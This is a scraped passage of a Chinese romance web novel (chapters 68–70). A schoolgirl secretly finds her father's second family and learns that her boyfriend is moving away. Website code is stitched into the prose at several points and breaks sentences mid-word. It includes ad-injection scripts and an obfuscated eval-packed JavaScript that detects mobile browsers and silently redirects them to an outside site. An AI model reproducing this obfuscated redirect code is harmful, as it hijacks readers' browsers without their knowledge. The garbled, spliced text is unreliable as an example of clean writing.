【不是葛朗台是世界首富:你怎么不先问问我考得怎么样?】 【顾^^彧:我教的我还能不知道吗?】 【不是葛朗台是世界首富:[臭屁]】 【顾^^彧:所以你考得怎么样?(应周老师要求还是问一下吧)】 【不是葛朗台是世界首富:挺好的,我还特地跟人家对过答案了,正确率85%以上吧。】 这次考试的难度可不是学校里那些小考月考期中期末能比的,虽然没到竞赛级别,但绝不简单。 然而顾彧却从周窈这短短一句话里嗅到了别的味道。 【顾^^彧:你跟谁对的答案?】 【不是葛朗台是世界首富:曹阔他们,一班这次来了好多人。】 【顾^^彧:???】 【顾^^彧:这位同学?】 【顾^^彧:你还记得他给你递过情书吗?】 【不是葛朗台是世界首富:干嘛,你吃醋啊?可是我如果考上了冬令营,要跟他一起上课两周哦。】 【顾^^彧:!!!】 【顾^^彧:别去了,我教你。】 【不是葛朗台是世界首富:我选陈敏学。】 发完这一句,周窈将手机塞进口袋,也不管它在口袋里震成了什么惊人的动静,只自顾自带着笑意往酒店方向走,路上随便吃了碗面,等她回到酒店,天都黑透了。 刚进酒店大堂,就被墙上挂着的价牌给惊到了,昨天还是499,今天就是568了……想到自己还要在这家酒店里睡一晚,周窈心都在滴血,总觉得欠了顾彧一笔巨款。 “还有空房吗?大床、标间都可以。” “都订出去了,这两天刘天王在隔壁体育场开演唱会,附近酒店基本都没房间了。” “我们也是来看演唱会的,结果票没买到,房间也订不到……” 周窈朝前台方向看去,就见两位打扮得很可爱的小姐姐趴在前台,一脸愁容。 “怎么办啊,今天不会是要露宿街头了吧……” “要不我们到别的区看看?” “那也太远了……” 周窈眼睛一转,上前轻拍了下其中一位穿JK的小姐姐。 “那个,你们是不是想要办入住啊?我的房间订了两晚,但我今天晚上有事不住了,你们要是不介意,我可以转给你们,499就好,你们要吗?” 小姐姐们惊喜不已:“真的吗?那太好了!我现在就把钱转你!” 于是半个小时后,周窈背着她的包,出现在隔了酒店两条街的24小时营业的麦当劳里,对着手机钱包里这多出来的499发愁。 这钱如果就这样转给顾彧,他肯定就知道自己把房退了,但如果把两天房费一起给他,想送他的墨镜就买不起了,而且他也一样会起疑。 愁啊,看样子只能先记账了。 正想着呢,这人的视频电话就打了过来。 周窈手忙脚乱地挂断,差点打翻了旁边顾客的可乐。 【顾^^彧:???干嘛挂我视频?周条条你是不是背着我干什么坏事了?】 周窈看着这条消息背脊一凛,虽然她知道顾彧说的不是退房这事,但谁让她心虚呢…… 【不是葛朗台是世界首富:我在外面。】 【顾^^彧:外面就不能视频吗?】 【不是葛朗台是世界首富:我在逛街。】 【顾^^彧:这么晚?在哪逛?】 周窈朝窗外看去,瞄到一个路牌。 【不是葛朗台是世界首富:天懿广场,好不容易出来一趟总要逛逛吧。】 【顾^^彧:那你早点回去,回房间了给我发消息。】 【不是葛朗台是世界首富:好的。】 【顾^^彧:这么乖?你不会真背着我干了什么坏事了吧?】 又是一阵被戳穿的手忙脚乱。 【不是葛朗台是世界首富:我逛书店,不跟你说了,回酒店给你发消息。】< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>【顾^^彧:[微笑]】 这家伙怎么这么敏锐?! 放下手机,周窈惊觉自己出了一层薄汗。 莫名的,她竟然真的怕顾彧生气…… 一会“她回酒店”后给他发消息,万一他又要求视频,自己又该怎么应对呢? 她这会终于体会到什么叫“撒了一个谎,要用一千个谎来圆”了。 愁人。 随着夜幕越来越深,窗外淅淅沥沥竟下起小雨来。 周窈刷了会题,但因为总想着顾彧而有些心不在焉,干脆托腮看起雨景来。 雨虽然不大,但下得很突然,路人大多没带伞,此时都在着急往家跑。 人群里,有一对父子逆着人流而来,爸爸撑着外套挡着自己和儿子,一路踏着水花来到麦当劳门口,拍了拍外套上的水后,推门进来。 周窈看着他们俩,有些难以置信地瞪大了眼睛。 “你个小崽子,快去买吧,真的是,下大雨也要来吃。你要麦旋风是吧,要什么口味的?就许买一个啊,买多了看你妈揍你!” “我就要买两个!一个奥利奥的一个焦糖珍珠!” “不行!这么晚了,还这么冷,晚上肚子疼我可不管你。” “就吃就吃!” 周窈一路看着父子点了单,拿着两个麦旋风推门而去,她来不及多想,直接把东西往包里一塞紧跟着追了出去。 那小男孩到底还是买了两个麦旋风,他自己拿不下,就让他爸帮着拿一个,自己拿一个,吃几口以后再换过来。 “爸爸你不许偷吃我的麦旋风!” “我才不稀罕吃呢,你赶紧吃啊,回家给你妈看见还得训我一顿。” “就让我妈训你,嘻嘻!” “臭小子!”那父子即便这样说着,但依旧好好地帮儿子拿着他的麦旋风,而来时撑在两人头顶的那件外套,此时正披在了他儿子身上。 看起来,确实是一位好父亲。 雨似有越下越大的趋势,父亲到底怕儿子淋湿生病,直接单手抱起他就着急往家里走,一路上走得急,自然也没发觉他们身后还跟了一个人。 很快,他们拐进了小区大门,钻进了一幢居民楼里,这小区不新不旧,但一楼没有门禁,不过周窈不敢跟这么近,只淋着雨站在楼下,数着楼道里亮起的灯。 一楼,二楼,三楼…… 随即她从三楼靠右的窗口方向,听到了一声怒吼。 “周建民你有病啊!这个点带他出去吃冰淇淋?还吃两个?!你知不知道他感冒刚好啊?” “那他吵着要吃啊,你儿子倔你不知道啊?” “他要吃你就给他吃啊!他上医院吊水你管过吗?” “哇——” 大人的争吵声和小孩的哭声交织在一起,像是这世上无数的家庭一样,为一些鸡毛蒜皮的事吵架,大多数家庭都是这样的。 大多数,家庭。 而周窈和陈娟的家庭,已经不完整了。 雨越下越大,周窈的头脑被冰冷的雨水浸着,却越来越清醒。 原来陈娟口中的“在天懿广场附近看见过周建民”是真的,只不过她不知道,周建民在骗她离婚后,又立即有了一个新的家庭。 哦不对,看那小男孩的年纪,恐怕周建民早就出轨了。 楼道里的灯一盏一盏地灭了,当三楼的灯也灭了的时候,周窈捏紧了拳头,暗暗骂了一声——畜生。 68. 隐瞒 这一整晚周窈都不知道自己是怎么熬过来的,她像游魂似的漫无目的地在宁市的街道上晃荡,中途有好心的路人上前问她是否需要帮助,也被她婉拒了,直到顾彧的电话打过来,她才大梦方醒。 不敢告诉顾彧自己现在正在大街上淋雨,只能撒谎说自己准备睡了,好在顾彧也没追问。 最终她还是回到了那间麦当劳,在冷热交替间终于看到了升起的太阳。 从宁市回舟市的车程只要一个小时多一点,周窈坐最早一班车回去,抵达的时候才八点不到,刚出车站,就看见顾彧站在门口。 “你怎么来了?” 周窈其实身上一点力气都没有,但为了不引起顾彧的疑心,她还是努力挤出了一丝笑意,然而对方只一眼就看穿了她的勉强。 “怎么了?脸色这么苍白?” 手心直接贴上了周窈的额头。 “周条条你发烧了!”他想伸手去拉周窈,一摸她的衣袖,还是潮的,眉头瞬间又拧紧了几分。“到底出什么事了?” 周窈不想多说,只觉得自从下车之后就仿佛踩在云上,每一步都不踏实,好在顾彧来了。她将额头顶在顾彧胸口,整个人软绵绵的毫无力气。 “你别问了,我两晚上没睡觉了……” 顾彧低头拥着她仔细瞧了瞧,见她虽然整个人看着虚弱,但裸露在外的皮肤都很干净,没有外伤,听她口气也不像是遭遇了什么恶劣性质的事,提着的心才稍稍放下了些,半拖半抱地将周窈架上了他的车后座。 酷炫山地车后轮上多了一个不伦不类的书包架,但他确实也没想到这辆车首次载人会是这样一个场景。 “我就该跟你一起去。” 周窈搂着他的腰,头靠在他的背上,闭着眼睛有气无力:“师父别念了,头疼……” 顾彧一路飞驰电掣回到了幸福花园,将周窈送回了家。 陈娟最近都是全天看护,应该是没回来过,周窈走时家里什么样,回来还是什么样。 给陈娟发了条消息告诉她自己回来了之后,周窈就去洗澡了,丝毫不避着这间屋子里的那位唯一的男性。 等水声响起,顾彧站在原地多少有些无所适从,干脆拿了周窈的钥匙出门帮她买了早饭和退烧药。 回来开门时他甚至有些恍惚,仿佛自己已经成了这个家的一份子。 此时周窈已经洗完澡了,瘫在沙发上,一动不动地对着天花板发呆,整个人是难以名状的死气沉沉。 顾彧看了她两眼,将买来的早饭和药都放在餐桌上。 “给你买了粥和包子,还有退烧药,起来吃一点……” “我看见我爸爸了。” 顾彧闻言愣了一下,扭头朝周窈看去。一片昏暗之中,她几乎面无表情地诉说着自己昨晚的经历。 “昨天晚上你不是给我打了好几个电话,我没接吗,那时候我就跟在周建民后面。我妈之前听说有人在宁市看见他,自己还跑宁市找过一趟,都没找到,偏给我遇着了。我一路跟着他回家,他在宁市有新家了,娶了新老婆,还有一个儿子。儿子大概上幼儿园了,可是他跟我妈离婚也才三年……” “怪不得我妈经常怨我是个女儿,拴不住亲爹,搞不好她早有预料。” “而且他住的那个小区,就在天懿广场边上,多好的地段,肯定不便宜,他哪来的钱?” 顾彧一边听着,一边将粥端到周窈面前,舀了一勺送到她嘴边:“赶紧喝一口。” 周窈到底也没真让他喂,接过来自己喝了起来。 “所以你就跟在他后面淋雨?他看见你了没?” “没有,我都没敢上楼。”说罢,她抬头看向顾彧:“你说我是不是很怂?我之前还跟我妈放狠话,如果看见他,一定要上去剥了他的皮。” “不是。”顾彧摸摸她的头:“剥皮犯法,你只是守法。” 周窈瞥了他一眼:“你这安慰人的角度还挺另辟蹊径的。”说着,她将粥塞回顾彧手里:“没味。” 猝不及防,顾彧凑近她,几乎是抵着她的额头轻声说道:“那你想尝什么味?草莓味?” 暧昧的记忆突然浮现,周窈病色的脸突然升起两团红晕。 她下意识脑袋往后一缩。 顾彧看着她这一副不经撩的样子,闷声笑了笑,然后拍拍她的头:“等着。” 果真没一会,他就又递了两个包子过来,还是肉的。 “赶紧吃,然后吃药。” 周窈慢慢吞吞又啃完两个包子,顾彧就在边上看着她。 “这事你打算告诉你妈吗?” 周窈摇了摇头:“不知道。告诉她了,好像也不会有什么改变。” 毕竟债务人就是陈娟本人,即便她们找到了周建民,除了能让陈娟死心以外,还能改变什么呢?那些债务还是得由她们来还。 或许法律上能有什么解决途径?可是周窈对这方面根本不懂。 她还是太弱小。 吃完饭又吃了药,周窈就被顾彧赶去睡觉了,这个人还在她床边守了一会,说要看着她睡着,最后也不知道他具体什么时候走的,但迷迷糊糊间感觉到有人亲吻了自己的额头,好像还说了句什么话,但陷入睡眠中的她没听清。 这一觉直接睡到黄昏,醒来就听见客厅里有动静。 周窈挣扎爬起来,就见陈娟在房间里翻腾着什么,见她出来立马就将抽屉合上了。 “妈,你怎么回来了?” 陈娟神情看上去还挺开心,但语气很冲:“怎么了,这家不是我的啊,回不得?” 周窈抿了抿唇,没多言,只回房将外套披上了。 吃了退烧药好像热度退下去了一些,但还是头晕无力,不过这点小病她也不打算和陈娟说了,晚上再吃一次药估计明天起来也就好了。 没过一会,陈娟又寻到她房门口,竟主动问起她这次考得如何。 周窈有些意外,毕竟陈娟几乎从不过问她的成绩,在陈娟看来,高考落榜也没关系,这样还能早点出去打工,赚钱补贴家用。毕竟做护工,做保姆可不需要什么高学历。 “考得还可以,但能不能进冬令营,得看名次。” 陈娟面露喜色:“刚才在外面碰到你何阿姨,说是你如果要考上这个什么冬令营,她就给你转一万块学费。” 周窈眉头轻皱:“你上次不还说不要他们家的钱?” 陈娟啧了一声:“这能一样吗?上次那是想两清,这次是告诉你,这个人情他们记下了。” 周窈不懂大人间的这些门门道道,反正这钱最终也不会到她手里,也没什么值得高兴的。 说完这事,陈娟就进厨房张罗晚饭去了,周窈见状也跟上去,想给她打下手。 陈娟看了她一眼:“你不是发烧了?回房间待着去吧。” 周窈有些意外:“你怎么知道?” 陈娟将菜往盆里一扔:“我是你妈我有什么不知道的,那退烧药就放在客厅桌上。” 闻言,周窈也不犟了,但她几乎睡了一整天,再也躺不住了,就干脆站在厨房边上,看着陈娟。又是好几天没见,陈娟的脸色依旧那么差。看她伸进冷水里洗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 菜的手,上面长满了冻疮,十根手指都冻成胡萝卜了。 因为每天都要洗这洗那,给病人擦这擦那,陈娟的手上每年都早早就生满冻疮和裂口,涂什么药膏都不管用,毕竟什么药膏在她手上都待不久,手套也戴不住。 看着这样的陈娟,想想一块两块攒钱的自己,以及昨天晚上被周建民扛在肩头,吃两个麦旋风的小男孩,住宁市市中心房子的他的新老婆…… 周窈不禁想问,宁市那一家,知道在舟市还有一对被他们不停吸血的母女吗? 想到这,周窈到底没忍住,开口劝道:“妈,以后周建民如果再问你要钱,你可千万别再给他了。” 陈娟手一顿:“怎么好端端又说起这件事来了?大人的事你这么操心呢?” “我……”周窈语塞,她怕自己说漏了嘴让陈娟看出端倪,只敢含糊地说道:“每次那帮人上门催债,对你又打又踢的,既然要还债,咱们好好把债还了就算了,周建民那边你别再给他钱了,别旧债还没还完又要添新债。” “你倒是说的轻松。”陈娟点火起灶:“那可是你亲爸,我老公,我们不管他谁管他啊?” “你们都离婚了。” “假离婚假离婚,你这小孩怎么听不懂啊。” “离婚证总是真的吧。只要有这证,他就能合法跟别人再婚。” 陈娟回头,拧着眉头猜疑道:“你是不是听谁说什么闲言闲语了?” 周窈怔了一下:“没有啊,我上哪听去……外面难道有什么关于周建民的传闻吗?” “少瞎猜。”陈娟转过身去继续炒菜:“哎呀你出去吧,这厨房屁点大地方,你站着碍手碍脚的。” “哦……”周窈转身出了厨房,背过身去瞬间一脸懊恼,她差一丁点就说漏嘴了。 因为先前的疏漏,吃饭时周窈特别沉默,反倒是陈娟,说起一件事来。 “我在医院里认识了一位病人家属,对方小孩明年中考,想找个家教,我跟人家推荐了你,到寒假的时候你就去给人家做家教赚点钱,冬令营就别去了。” 周窈有些难以置信地反问:“你刚刚不才说只要我考上冬令营,何阿姨就要给我一万块?既然有这个钱,我为什么不能去冬令营?” 陈娟倒是算计得很清楚:“收钱归收钱,那是奖励你考得好,到时候你就说家里有事走不开,没去,不就得了,能赚两份钱干嘛不赚。而且学习是能学得完的吗?就这两周什么狗屁的冬令营,你去了就能考上大学了?我才不信呢,都是骗钱的东西。”说着,还一脸嫌弃的样子。 周窈简直无法理解,她身边的人,哪个不是爹妈逼着读书,偏偏她妈,一个劲让她不要念了,反正念到最后毕业了也是出来打工。 想起昨天晚上自己看到的那一切,周窈只觉得胸口那座火山又要爆发了。 “我凭什么不能去,费用我自己攒了,我凭什么不能去,债又不是我欠的,我为什么不能去!那个欠债的人自己在外逍遥快活呢!就你还在傻乎乎帮他还债!” 陈娟敏锐地觉察到了什么,她停下手里的筷子:“你,是不是看到你爸爸了?” 周窈背脊一紧,眼神下意识躲闪,颇有些不自然地拿起筷子吃饭掩饰:“我巴不得能看见他,我要是见到他,我非得剥他一层皮下来不可!” 陈娟又盯着她看了两眼,将信将疑:“真没有?” “没,我上哪见他去?你上次不是说他去杭市做生意了?” 没从周窈嘴里问出点什么,陈娟这才作罢,两人继续吃起饭来,刚刚这一茬,也没人再提了。 69. 离开 晚上,陈娟因为连天的劳累早早去睡了,周窈刷了会题,却因为周建民这事发愁,难以集中精神,恰好顾彧打电话过来,她躺到了床上,接起电话。 顾彧第一句话就是:“吃药了吗?还烧吗?” 周窈瞄了一眼放在桌上的温度计:“还有一点,37.5°,估计明天起来就能退烧了。”汇报完自己的情况,她立马又向顾彧倒起了苦水。 她刻意压低了声音说道:“你知道么,我今天跟我妈差点就说漏嘴了,不知道她起疑了没有。” “不要给自己这么大的压力。世界是不透风的墙,你不告诉你妈,但总有人会告诉她。” “也是。” 周窈发愁地小声嘟囔:“我其实特别想告诉她真相,告诉她周建民就在宁市,什么杭市什么做生意都是骗她的。想到我妈知道这事时震惊的样子,我就会产生一种报复的快感。” 说完,她抿了抿唇:“但我这样,是不是很坏?” “你不会这么做。” 周窈心中微怔,随即释然:“是,我怕她接受不了。” 她知道,陈娟是那种典型的外强中干,并且特别依赖家人,这也是为什么她不肯相信周建民再也不会回来的原因。 “我原来想过,如果再见到周建民,我一定要冲上去质问他,把他揪回来,或者毒打他一顿,踹得他断子绝孙。可是现在想想,维持现状也没什么不好的……我可以等考上大学之后,再把事情一点点告诉她,然后带着她去别的城市生活……” “嗯,这样也很好,总之,你别过分担心,你妈妈她是成年人,没那么容易倒下的。” 周窈想了想,觉得也是,家里欠那么多债,也没见陈娟呼天抢地的,或许她妈妈真的要比她想象得坚强一些。 扭头看了眼桌上的闹钟,已经快十一点了。 “你要睡了吗?” “还没。”顾彧转着手里的笔,低头看着铺在自己面前的一张卷子。“不过你该去睡了,睡前记得吃药,如果明天早上还不退烧,我帮你跟史老师请假。” 周窈此时头还晕着,便也没继续熬,跟顾彧道了晚安之后就放下手机关灯睡觉。 屋内暗下的瞬间,就见门缝里有亮光一闪而过。 她骤然背脊发凉,轻手轻脚翻身下床,悄悄打开了自己的房门向外看去。 客厅里依旧是一片漆黑,安安静静,不像是有人的样子,而隔壁陈娟的房间门也关得好好的。 周窈重新关上房门,靠在门背后长长松了口气。 刚才那一瞬,许是自己看错了,又或者是外面汽车经过时闪烁的车灯。 …… 隔壁,顾彧挂了电话,冷着脸看着面前这张试卷。 何茜华端着一杯牛奶进来。 “跟窈窈打电话?” “嗯。”顾彧不冷不热地应了一声。 何茜华也不恼,将牛奶放在他手边后,催促他快点做题:“快点把卷子做了,人家老师想对你摸个底。” 顾彧将笔一搁:“我说过我不想去海市。” 何茜华这次没有退让:“我也说过这事已经定下来了,最多这学期读完,必须转学。理由我早就跟你说过了,你不舍得窈窈和这里的同学老师,我同样也不舍得把我儿子自己留在这里。这跟什么高考资源、学习条件无关。” 墙上的钟滴答作响,房间里母子两对视了一会,最终还是顾彧败下阵来。 他知道,经历了煤气泄露事故之后,要再说服何茜华,几乎不可能了。 / 冬令营的入营资格将在十二月底公布,之后就是元旦小长假,过了假期,顾彧的生日就要到了。再之后,就是期末考,以及冬令营开营。 短短一个月,却满满当当。 等成绩的期间,周窈莫名有些心神不宁,总觉得有什么事要发生,但她却猜不到具体是什么事,甚至那天晚上无意间在门缝中瞥见的那一束光,周窈都要怀疑上千遍,生怕陈娟真的起床过,偷听到她说话。 可默默观察了几天,陈娟却并没有表现出什么异常,还是跟往常那样每天往返于医院和家里,而焦虑的人,好像从陈娟换成了周窈自己,只要陈娟离开了她的视线,她就忍不住想东想西。 同样心情不好的,还有顾彧,看着日历上的日期一个个变成灰色,预示着他离开的日期也逐渐临近。 边上蒋煜见他心情不好,还猜测是不是和周窈吵架了,提议要再集体出去玩一次。 代薇子撑着头劝道:“算了吧,估计周窈也没这个心思,她最近看上去也挺紧张的,好像下周末就要公布冬令营的入营名单了。” “嗐,这有什么好紧张的。”蒋煜一脸开朗:“尽人事听天命嘛。” 代薇子横了他一眼:“你以为谁都跟你一样心大啊?” 晚上,周窈难得没跟顾彧一起回家。 何茜华马上要回海市了,说是今晚带着顾彧一起,和以前的朋友聚餐。 去之前,周窈狠狠叮嘱了他一顿:“如果有人带着自己漂亮的女儿来……” 顾彧抢答:“我就说我清心寡欲,一心向学!” “错!”周窈拍了他一掌,随即微微仰起头,眼神促狭:“你应该说你已经有女朋友了。” 顾彧捏了捏她的脸:“这下不怕见光死了?” 周窈瞪他:“我就没怕过好吧。” 跟顾彧在校门口分别,周窈独自回家,到家门口看见厨房灯没亮,她心瞬间就慌了起来。 陈娟今天是白天班,不可能现在还没回家。 正想着,就见熟悉的身影从楼后面穿过来。 周窈停了车迎上去:“妈,你怎么从后面过来?” 走近了才发现陈娟车篮里装着满满当当的菜:“冰箱里不是还有菜吗,你怎么又买了这么多?”这么多,够吃一周了,而且还有鱼,还有排骨。 周窈抬头望向陈娟,一脸的不可思议:“你发财啦?” 陈娟笑着将菜递给周窈:“干嘛,你妈我平时就这么抠搜吗?” “不是抠搜……”周窈拎着菜跟在陈娟身后上楼,看着她掏出钥匙开门。 “下午小彧她妈妈来医院看老同事,我们俩刚好碰见,她请我喝了个下午茶……”说着,她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 转过头来看着周窈,眼神里又些许得意,像是占了大便宜:“她问我你冬令营考得怎么样,我说你考得可好了,一定能进,她就转了我一万块钱,说是给你的学费。” 周窈一听,头皮发紧。 “你真的拿人家钱了?!” 陈娟不乐意了:“怎么啦,你救了她儿子一命,她资助你读个书怎么了?人家可说了啊,不止这个冬令营,剩下的高中两年,还有大学,只要你读书上有困难,就找她们。” “真的?人家真这么说?主动说的?”周窈不禁怀疑。 陈娟脸色自然神情坦荡:“那肯定是人家主动提的啊,呵,我巴不得你赶紧退学早早打工去,到医院来给我帮忙都行。” 周窈依旧不太相信,谁知道她怎么和顾彧妈妈说的,搞不好就是挟恩图报,骗点钱来。 但只要对方给陈娟开了这个口子,以后陈娟会不会以各种名义问他们家拿钱呢?就跟朝外婆、舅舅要钱那样。那天人家上门道谢的时候,陈娟拒绝了一个大红包,为的不就是日后这源源不断的还不清的人情债么? 想到这,周窈只觉得身体沉得像是要坠下去了,她想要劝说陈娟,但张了张嘴,却一个字都说不出来。明明语文考试那八百字的作文,她说写就写,甚至还能超好些字数,可是面对陈娟,她却总是词穷。 厨房里,陈娟正在处理着刚买来的菜,一边继续说着她从何茜华那里听来的事。 “你何阿姨说,小彧下个学期就要转去海市,有这事吗?” “啊?什么?”周窈恍惚了一下,以为自己听错了。 “什么什么。跟你说话呢,一个耳朵进一个耳朵出。小彧妈妈说,下学期小彧就要海市读书了,这事你知不知道啊?” “去海市?谁去海市?” “小彧啊。”陈娟不耐烦了,转过身看着周窈,一字一顿:“顾彧!要去海市念书!” 耳朵“嗡”的一声,像是耳鸣,再听不清别的话了。 最近这些天,她的关注都集中在陈娟身上,生怕她知道关于周建民的事,却没想到那个每天安慰她,陪伴她的人,竟然一声不响地策划着离开…… 冲动之下,此刻的她甚至想直接冲去隔壁质问他为什么这么大的事不跟自己说,一直拖着不跟她在一起是不是因为他早就知道自己要走。 可走到门边才想起他跟妈妈出去吃饭,还没回来。 于是又想用手机给他发消息,打了几行字删删减减后,却发现文字根本不足以表达她现在的心情,只能作罢。 在她像个无头苍蝇一样在房间里乱转的同时,陈娟还在碎碎念着。 “还当你跟小彧关系多好呢,这事都不知道。啧,这要是人走了可怎么得了,这么大一个人情,就不还了?这下他们一家都去了海市,老太太又不在了,以后还会不会回来都难说,到时候咱们找谁要钱去?” 周窈堵住耳朵,不想去听陈娟的这些算计,就这么愣愣地站在房间门口,刚好和窗台上的蓝胖子对上了眼。 躁动的心就这么渐渐平复了下来。 不管走不走,总要听他亲口说吧。 70. 狐狸精要走了 餐厅的包厢里,顾彧陪何茜华坐在桌边等着客人到来。 四下无人,何茜华小声对顾彧说道:“下午我出去的时候碰到周窈她妈妈了。” 顾彧闻言,忽地坐直了身子。 “她跟我哭诉没钱供周窈上学,所以我就顺势说,窈窈之后的学费,我们家给。”说着,何茜华看了一眼顾彧的脸色:“我也没有别的什么意思,就是觉得这事应该告诉你一声。” 顾彧闻言,应了一声。下意识的,他觉得这件事不能告诉周窈,起码不能让周窈知道,自己知情。 何茜华拍了拍他:“不要紧张,我只是觉得你需要清楚对方是个怎么样的家庭,而且我也不会因此就对周窈有什么看法。不提她对你的救命之恩,这几万块学费我们家也不是出不起,能供出一个大学生,也是件很值得骄傲的事。” “我知道。” 没过一会,客人们就陆续来了,都是何茜华以前的同事和朋友,许久不见的大家瞬间就热络了起来,意兴盎然地聊着他们以前的事,一起来的还有他们的子女,大点的上初中,小的才幼儿园,叽叽喳喳,多少有些吵闹。 许是父母的天性,话题说着说着,就自然拐到小孩身上。 “儿子都这么大啦?” 何茜华笑着回答:“十七了,上高二。” “才几年不见哦,小时候我记得缠人得很,经常要到医院里来找妈妈,现在一晃这么大了。在海市读书吗?” “那倒没有,在一中,不过打算下学期转到海市去。” “是嘚,孩子嘛,还是要跟在父母身边,一中是重点,海市重点中学也不少啊。而且海市那几所大学,本地户口要好进一些。” “他打算招飞了。”说这句话的时候,何茜华一脸骄傲。 “了不起,当飞行员保卫祖国!来小伙子,叔叔敬你一杯!” 顾彧端着杯子起身,恭敬地抿了一口饮料。 在座的这些人,大多他都眼熟,小时候去医院找他妈的时候,总能遇上,其中有几位阿姨以前还对他很好,何茜华在忙的时候,就是她们几人轮流把他带在身边,防止他跑丢。 现在想来,那时自己妈妈确实很辛苦,要顾工作要顾家里还要带孩子,女人又不是有什么三头六臂,或是什么分身术。想来那些年自己在因为妈妈无数次爽约而大哭大闹的时候,自己妈妈心里大约也是很难过的。 “囡囡,看,人家哥哥以后要当飞行员,厉不厉害,你要跟哥哥学习,快去加个哥哥的微信!” 刚上初中的女孩就么被她妈妈给推了过来,顾彧抬眼一看,正是以前照顾过自己的其中一位阿姨。 “哥哥,你有微信吗?”小姑娘怯生生的上前问道,有一种被父母拎着走的勉强感。 顾彧摸了摸她的头:“对不起啊,我女朋友很凶,不准我加别人好友,但是我可以把我初中的学习资料送给你,希望能对你有用。”说着,他打开手机上的备忘录:“把你的地址写下来。” 意外的是,被拒绝的小姑娘反倒没了刚才的那种拘谨,一边在顾彧的手机上输入她的收件地址,一边瞪圆了眼睛问他:“高中可以谈恋爱了吗?” 顾彧小声道:“可以偷偷谈。” “小彧!”何茜华佯装斥责:“你怎么教坏妹妹呢!” 顾彧吊儿郎当将手机一收:“反正下学期就要去海市被你们管着了,我还不能放纵一下吗?” 桌上其他几位大人赶紧出来打圆场。 “人家学习好,长得帅,谈个恋爱怎么了。” “就是的,高中不准谈,大学不准谈,毕业了就要人家结婚,谈恋爱的经验不用积累啊?” “现在想起来,我老公还真比不上我初恋,那时候要是我爸妈没拆散我们就好了。” “哎哎哎,这话可不兴说啊,小心我给你老公打小报告!” “打去吧,他现在天天不着家,谁知道是不是在外面找小的了。” “瞎说八道,你老公麻醉科的,能有功夫找小三?他要真有小三,我可要跟他们科室主任打小报告了啊,就说他工作量不饱和,排的手术不够多,哎,直接把他拽回正轨。” 餐桌上的气氛又热络了起来。 顾彧借机凑到何茜华身边:“妈,我先回去了。” 何茜华看了他一眼:“大人都在呢,你去哪?” “周窈不回我消息。” 何茜华彻底没了脾气,多少有点恨铁不成钢的意味:“我倒不知道我儿子还是个恋爱脑。” 得了母上的首肯,顾彧直接离开了包厢,关门时还听见有人问“儿子怎么走了?” 何茜华笑骂:“女朋友一勾就走了,是个耳根软的。” 回了幸福花园,顾彧站在周窈家楼下给周窈发消息。 【顾^^彧:在家?我在你家楼下。】 大约五分钟后,一楼大铁门被人从里面轻轻推开,周窈沉着脸走了出来。 顾彧原本还想问她怎么不回自己消息,但看她这个脸色,什么都顾不上了。 “又和你妈吵架了?打你了?” 周窈抬头,脸上白白净净,顾彧这才松了口气,然而下一秒—— “你要转学去海市这事为什么不跟我说?” 顾彧愣住了,突然明白过来这一晚上周窈的冷淡从何而来。 “你怎么知道的?” 有那么一瞬,顾彧甚至怀疑是不是何茜华找周窈说了什么,但他又觉得自己妈妈不至于这样做。 “下午我妈在医院遇到何阿姨,两人聊天的时候说到的。” 顾彧无言。 周窈望向他:“你真的要去海市。”这回用的是陈述句。 “我不想去。” “为什么不告诉我?” 两道声音同时响起。 周窈抿了抿唇,问道:“你是不是因为知道要去海市,所以才不跟我在一起的?” “我不想去。”顾彧又重复了一遍,随即,他又反问周窈:“你想我去吗?” “当然不想。”但她想不想有用吗? 灯光下,两人四目相对,心中不免都有些憋屈,对未来,也对自己。 “生气了?我还没走呢。”顾彧伸手拂开周窈散落在肩头的长发,周窈往后一躲,被遗落在半空中的手顿了一下。 “我生气的是你为什么不告诉我。” 少女有些倔强地仰起脸,目光灼灼。顾彧对上她的眼神,突然理解了她的心思,于是干脆利落地道歉:“对不起,我以为我能说服我妈。” 所以还是得去。周窈听出了这层意思,于是她讷讷无言,思考了一会。 “顾彧,如果你去了海市,就会不喜欢我吗?” “不会。”说着,他又伸手去抚她的头发。小姑娘的黑发和丝缎一样顺滑,爱不释手。 “但是那样我们就是两条平行线了,大家各自过自己的生活,哪怕躺在对方的好友列表里,能说的话也会越来越少,直至不再联系。” “再找个地点交汇不就好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13786081|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?”刚刚还抚着头发的手突然滑了下去,握住周窈垂在身侧的指尖。“考到京市去吧。我去京航……” “那我呢?”周窈歪了歪头。 “你……”顾彧停顿了一下,原本他想说,只要考去京市的学校,哪一所都不差,但话到了嘴边,一个念头突然闪过:“考京大吧。” 看着周窈有些惊讶地瞪圆了眼睛,他又补了一句:“你可以的。” 和顾彧一直以来的担忧比起来,周窈接受要他要转学去海市这件事,似乎要比他想象中快很多,在确定了未来的目标后,两人的话题就迅速快进到等顾彧到了海市,要怎么保持交流,尤其是要怎么辅导周窈学习,而周窈独自在舟市,要怎样保持自己的学习进度提高成绩。 但无论周窈在顾彧面前表现得多么洒脱,好似全然不被影响一般,回到家关上房门,还是有一股浓烈的虚脱感,仿佛她所有的力气,都用在刚才与顾彧在楼下聊天的那半个多小时里,伪装她自己了。 其实,她一点都不想让顾彧走,一丁点都不,只要想到下学期开学就见不到他了,心里就空得可怕。 她甚至怀疑,自己对顾彧的喜欢,起码有一半是建立在依赖感上的。就像是大雄依赖哆啦A梦,那样的依赖顾彧,他就像是一堵空气墙,每当自己要倒下的时候,都会被他稳稳接住。 